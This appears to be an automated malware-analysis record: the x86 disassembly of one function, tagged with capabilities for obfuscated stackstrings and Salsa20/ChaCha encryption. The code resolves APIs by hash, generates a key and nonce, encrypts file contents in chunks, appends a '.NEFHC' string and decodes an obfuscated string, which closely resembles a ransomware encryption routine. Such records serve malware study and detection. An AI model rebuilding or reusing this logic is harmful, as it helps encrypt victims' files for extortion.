Function at 0x410460
Capabilities:
Contain obfuscated stackstrings
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
mov eax, dword [0x42e008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], edx
mov ebx, ecx
push 0x47
push 0x4156547c
mov edx, 0x10
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0xc], 0x28
call fcn.00405390
add esp, 8
lea edi, [ebx + 0x58]
push edi
push 0x20
push dword [ebp + 8]
call eax
test eax, eax
je 0x4108bf
push 0x47
push 0x4156547c
mov edx, 0x10
call fcn.00405390
add esp, 8
lea esi, [ebx + 0x50]
push esi
push 8
push dword [ebp + 8]
call eax
test eax, eax
je 0x4108bf
lea edx, [ebx + 0x10]
mov ecx, 0x40
mov dword [ebp - 0x8c], edx
mov eax, edx
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4104e3
mov ecx, edi
lea edi, [ebx + 0x78]
mov eax, dword [ecx]
mov dword [edx + 0x10], eax
mov eax, dword [ecx + 4]
mov dword [edx + 0x14], eax
mov eax, dword [ecx + 8]
mov dword [edx + 0x18], eax
mov eax, dword [ecx + 0xc]
mov dword [edx + 0x1c], eax
mov eax, dword [ecx + 0x10]
mov dword [edx + 0x20], eax
mov eax, dword [ecx + 0x14]
mov dword [edx + 0x24], eax
mov eax, dword [ecx + 0x18]
mov dword [edx + 0x28], eax
mov eax, dword [ecx + 0x1c]
lea ecx, [ebx + 0x58]
mov dword [edx + 0x2c], eax
mov dword [edx], 0x61707865
mov dword [edx + 4], 0x3320646e
mov dword [edx + 8], 0x79622d32
mov dword [edx + 0xc], 0x6b206574
mov edx, 8
mov dword [ebx + 0x40], 0
mov dword [ebx + 0x44], 0
mov eax, dword [esi]
mov dword [ebx + 0x48], eax
mov eax, dword [esi + 4]
mov dword [ebx + 0x4c], eax
nop
mov eax, dword [ecx]
lea ecx, [ecx + 4]
mov dword [ecx + 0x1c], eax
sub edx, 1
jne 0x410560
mov ecx, esi
mov edx, 2
mov eax, dword [ecx]
lea ecx, [ecx + 4]
mov dword [ecx + 0x44], eax
sub edx, 1
jne 0x410574
push 0xc
push 0x711c72ac
mov edx, 0x10
call fcn.00405390
add esp, 8
lea ecx, [ebp - 0xc]
push 0x20c
push ecx
push edi
push 0
push 1
push 0
push dword [ebp + 0xc]
call eax
test eax, eax
je 0x4108bf
mov ecx, ebx
call fcn.0040eef0
test eax, eax
je 0x410a99
mov ecx, dword [ebx]
call fcn.00408de0
test eax, eax
je 0x4105f7
push 0
mov dl, 0x24
mov ecx, ebx
call fcn.0040e370
add esp, 4
test eax, eax
je 0x410a99
mov edx, dword [ebp - 0x10]
sub esp, 8
mov ecx, ebx
call fcn.00410320
add esp, 8
jmp 0x4107ad
mov ecx, dword [ebx]
call fcn.0040d390
test eax, eax
je 0x41061f
push 0x14
mov dl, 0x25
mov ecx, ebx
call fcn.0040e370
add esp, 4
test eax, eax
je 0x410a99
push 0x14
jmp 0x41079d
mov ecx, dword [ebx + 0xc]
mov eax, dword [ebx + 8]
test ecx, ecx
jg 0x410779
jl 0x4105cc
cmp eax, 0x100000
jbe 0x4105cc
test ecx, ecx
jg 0x410779
jl 0x41064b
cmp eax, 0x500000
ja 0x410779
push 0
mov dl, 0x26
mov ecx, ebx
call fcn.0040e370
add esp, 4
test eax, eax
je 0x410a99
xorps xmm0, xmm0
mov dword [ebp - 8], 0
movlpd qword [ebp - 0x88], xmm0
mov ecx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], eax
nop word [eax + eax]
mov edi, 0x100000
sub edi, eax
mov eax, 0
sbb eax, ecx
mov dword [ebp - 0x84], eax
js 0x4106b5
jg 0x4106b0
cmp edi, 0x500000
jbe 0x4106b5
mov edi, 0x500000
mov esi, dword [ebx + 4]
mov edx, 0xf
push 0x57
push 0x9b02edd3
call fcn.00405390
add esp, 8
lea ecx, [ebp - 8]
push 0
push ecx
push edi
mov edi, dword [ebp - 0x10]
push edi
push esi
call eax
test eax, eax
je 0x41076d
mov eax, dword [ebp - 8]
mov dword [ebp - 0x84], eax
test eax, eax
je 0x41076d
add dword [ebp - 0x18], eax
mov edx, edi
mov ecx, dword [ebp - 0x8c]
adc dword [ebp - 0x14], 0
push eax
push edi
call fcn.00405800
mov ebx, dword [ebp - 8]
xor edi, edi
mov esi, dword [ebp - 0x1c]
neg ebx
push 0x35
adc edi, edi
mov edx, 0xf
push 0x28e79145
mov esi, dword [esi + 4]
neg edi
call fcn.00405390
add esp, 0x10
push 1
push 0
push edi
push ebx
push esi
call eax
mov ebx, dword [ebp - 0x1c]
test eax, eax
je 0x41076d
push dword [ebp - 0x84]
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebx + 4]
call fcn.0040deb0
add esp, 4
test eax, eax
je 0x41076d
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
test ecx, ecx
jl 0x410690
jg 0x41076d
cmp eax, 0x100000
jb 0x410690
mov dword [ebp - 0x10], 1
lea edi, [ebx + 0x78]
jmp 0x4107b8
movzx eax, byte [0x42e884]
mov dl, 0x25
push eax
mov ecx, ebx
call fcn.0040e370
add esp, 4
test eax, eax
je 0x410a99
movzx eax, byte [0x42e884]
push eax
mov edx, dword [ebp - 0x10]
sub esp, 8
mov ecx, ebx
call fcn.0040fe90
add esp, 0xc
mov dword [ebp - 0x10], eax
test eax, eax
je 0x41084d
mov esi, dword [ebx + 4]
mov edx, 0xf
push 0x59
push 0x3d7344ad
call fcn.00405390
add esp, 8
push esi
call eax
mov eax, dword [ebx]
push 0x7fd7
mov dword [ebx + 4], 0xffffffff
mov dword [ebp - 0x14], eax
call fcn.0041e3c4
mov esi, eax
add esp, 4
test esi, esi
je 0x41084a
push 2
push 0xc19818f2
mov edx, 0xf
call fcn.00405390
add esp, 8
push dword [ebp - 0x14]
push esi
call eax
push 0xe
push 0xadf1acd3
mov edx, 0xf
call fcn.00405390
add esp, 8
push str..NEFHC
push esi
call eax
push 0x4f
push 0xad54e21d
mov edx, 0xf
call fcn.00405390
add esp, 8
push esi
push dword [ebp - 0x14]
call eax
push esi
call fcn.0041e3cf
add esp, 4
lea esi, [ebx + 0x50]
mov eax, 0x20
lea ecx, [ebx + 0x58]
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub eax, 1
jne 0x410855
mov eax, 8
mov byte [esi], 0
lea esi, [esi + 1]
sub eax, 1
jne 0x410865
mov esi, dword [ebx + 4]
cmp esi, 0xffffffff
je 0x410894
push 0x59
push 0x3d7344ad
lea edx, [eax + 0xf]
call fcn.00405390
add esp, 8
push esi
call eax
mov dword [ebx + 4], 0xffffffff
mov eax, 0x20c
nop dword [eax]
mov byte [edi], 0
lea edi, [edi + 1]
sub eax, 1
jne 0x4108a0
mov eax, dword [ebp - 0x10]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041bff4
mov esp, ebp
pop ebp
ret
push 0x33
push 0xc6c4f37a
mov edx, 0xf
call fcn.00405390
add esp, 8
call eax
mov byte [ebp - 0x80], 0
mov edi, eax
mov byte [ebp - 0x7f], 0x76
mov byte [ebp - 0x7e], 0x35
mov byte [ebp - 0x7d], 0x16
mov byte [ebp - 0x7c], 0x35
mov byte [ebp - 0x7b], 0x52
mov byte [ebp - 0x7a], 0x35
mov byte [ebp - 0x79], 0x6a
mov byte [ebp - 0x78], 0x35
mov byte [ebp - 0x77], 0xc
mov byte [ebp - 0x76], 0x35
mov byte [ebp - 0x75], 0x67
mov byte [ebp - 0x74], 0x35
mov byte [ebp - 0x73], 0x4f
mov byte [ebp - 0x72], 0x35
mov byte [ebp - 0x71], 0x3c
mov byte [ebp - 0x70], 0x35
mov byte [ebp - 0x6f], 0x52
mov byte [ebp - 0x6e], 0x35
mov byte [ebp - 0x6d], 0x67
mov byte [ebp - 0x6c], 0x35
mov byte [ebp - 0x6b], 0x75
mov byte [ebp - 0x6a], 0x35
mov byte [ebp - 0x69], 0x3c
mov byte [ebp - 0x68], 0x35
mov byte [ebp - 0x67], 0x7b
mov byte [ebp - 0x66], 0x35
mov byte [ebp - 0x65], 0x67
mov byte [ebp - 0x64], 0x35
mov byte [ebp - 0x63], 6
mov byte [ebp - 0x62], 0x35
mov byte [ebp - 0x61], 0x1c
mov byte [ebp - 0x60], 0x35
mov byte [ebp - 0x5f], 0x78
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x67
mov byte [ebp - 0x5c], 0x35
mov byte [ebp - 0x5b], 6
mov byte [ebp - 0x5a], 0x35
mov byte [ebp - 0x59], 0x62
mov byte [ebp - 0x58], 0x35
mov byte [ebp - 0x57], 0x3f
mov byte [ebp - 0x56], 0x35
mov byte [ebp - 0x55], 0x3c
mov byte [ebp - 0x54], 0x35
mov byte [ebp - 0x53], 0x67
mov byte [ebp - 0x52], 0x35
mov byte [ebp - 0x51], 0x57
mov byte [ebp - 0x50], 0x35
mov byte [ebp - 0x4f], 0x42
mov byte [ebp - 0x4e], 0x35
mov byte [ebp - 0x4d], 0x6d
mov byte [ebp - 0x4c], 0x35
mov byte [ebp - 0x4b], 0x67
mov byte [ebp - 0x4a], 0x35
mov byte [ebp - 0x49], 0x1d
mov byte [ebp - 0x48], 0x35
mov byte [ebp - 0x47], 0x3c
mov byte [ebp - 0x46], 0x35
mov byte [ebp - 0x45], 0xc
mov byte [ebp - 0x44], 0x35
mov byte [ebp - 0x43], 0xd
mov byte [ebp - 0x42], 0x35
mov byte [ebp - 0x41], 0x16
mov byte [ebp - 0x40], 0x35
mov byte [ebp - 0x3f], 0x42
mov byte [ebp - 0x3e], 0x35
mov byte [ebp - 0x3d], 0xc
mov byte [ebp - 0x3c], 0x35
mov byte [ebp - 0x3b], 0xa
mov byte [ebp - 0x3a], 0x35
mov byte [ebp - 0x39], 0x78
mov byte [ebp - 0x38], 0x35
mov byte [ebp - 0x37], 0x78
mov byte [ebp - 0x36], 0x35
mov byte [ebp - 0x35], 0x1c
mov byte [ebp - 0x34], 0x35
mov byte [ebp - 0x33], 0x78
mov byte [ebp - 0x32], 0x35
mov byte [ebp - 0x31], 0x67
mov byte [ebp - 0x30], 0x35
mov byte [ebp - 0x2f], 0x3d
mov byte [ebp - 0x2e], 0x35
mov byte [ebp - 0x2d], 0x67
mov byte [ebp - 0x2c], 0x35
mov byte [ebp - 0x2b], 0x57
mov byte [ebp - 0x2a], 0x35
mov byte [ebp - 0x29], 0x3f
mov byte [ebp - 0x28], 0x35
mov byte [ebp - 0x27], 0x55
mov byte [ebp - 0x26], 0x35
mov byte [ebp - 0x25], 0x35
mov byte [ebp - 0x24], 0x35
mov al, byte [ebp - 0x7f]
cmp byte [ebp - 0x80], 0
jne 0x410a8a
xor esi, esi
lea ebx, [esi + 0x7f]
nop dword [eax]
mov al, byte [ebp + esi - 0x7f]
mov ecx, 0x35
movzx eax, al
sub ecx, eax
lea eax, [ecx + ecx*4]
shl eax, 3
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [ebp + esi - 0x7f], dl
inc esi
cmp esi, 0x5c
jb 0x410a60
mov ebx, dword [ebp - 0x1c]
push edi
push dword [ebx]
lea eax, [ebp - 0x7f]
push eax
call fcn.00417080
add esp, 0xc
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041bff4
mov esp, ebp
pop ebp
ret